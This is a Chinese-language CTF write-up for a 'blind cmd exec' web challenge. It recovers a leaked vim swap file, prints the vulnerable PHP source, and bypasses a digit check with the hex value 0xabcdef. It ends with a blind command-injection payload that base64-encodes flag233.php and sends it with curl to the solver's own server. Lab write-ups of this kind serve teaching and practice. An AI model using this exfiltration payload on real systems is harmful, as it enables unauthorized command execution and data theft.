打开是一个gif,提示文字未登录
话不多说,查看源码
发现vim字样,可能是文件泄露
直接在url后加/.index.php.swp来下载泄露文件
下载好了之后放vm上使用vim -r .index.php.swp 修复文件
打开后的文件为
<html> <head> <title>blind cmd exec</title> <meta language='utf-8' editor='vim'> </head> </body> <img src=pic.gif> <?php /* flag in flag233.php */ function check($number) { $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '11259375'; } if(isset($_GET[sign])&& check($_GET[sign])){ setcookie('auth','tcp tunnel is forbidden!'); if(isset($_POST['cmd'])){ $command=$_POST[cmd]; $result=exec($command); //echo $result; } }else{ die('no sign'); } ?> </body> </html>
进行代码分析:
先告诉我们flag在flag233.php(试着访问,告诉我hhhhhhhhhhh,too young too simple。。。。看来是个骗局)
Flag233.php里面什么都没有,接着读
发现它定义了一个check函数
大意是:
①定义变量one其值是数字1的ASCII码
②定义变量nine其值是数字9的ASCII码
③定义循环,条件是当i小于变量number的长度的时候就执行,每次i+1,令变量digit的值每次为ord($number{$i}),如果其值介于49和57之间就返回false,如果number中没有在ascii中对应49到57之间的数字就让number等于11259375。
然后是一个条件判断:
如果$_GET[sign])存在,且通过check函数后的$_GET[sign])不为false,就向客户端发送一个 HTTP cookie,又如果post传入了cmd的值,则执行外部程序(cmd的值),并输出最后一行shell结果
首先绕过第一个判断,让sign的值等于11259375并且sign中不包含1-9数字,这里就直接使用
16进制来绕过,让sign等于0xabcdef。其值就等于11259375并且不包含1-9的数字
然后就是上次cookie和执行命令了,这里的命令只输出最后一行shell的结果所以就没法直接查看文件
我们使用exec()函数来执行cmd命令,查看flag233.php的内容
构造post:cmd=data=$(cat flag233.php | base64);curl http://xx.xx.xx.xx/?data=$data(其中xxx为自己的服务器地址)
让其对自己服务器进行访问并留下日志,最后去服务器上查看日志就可以得到flag了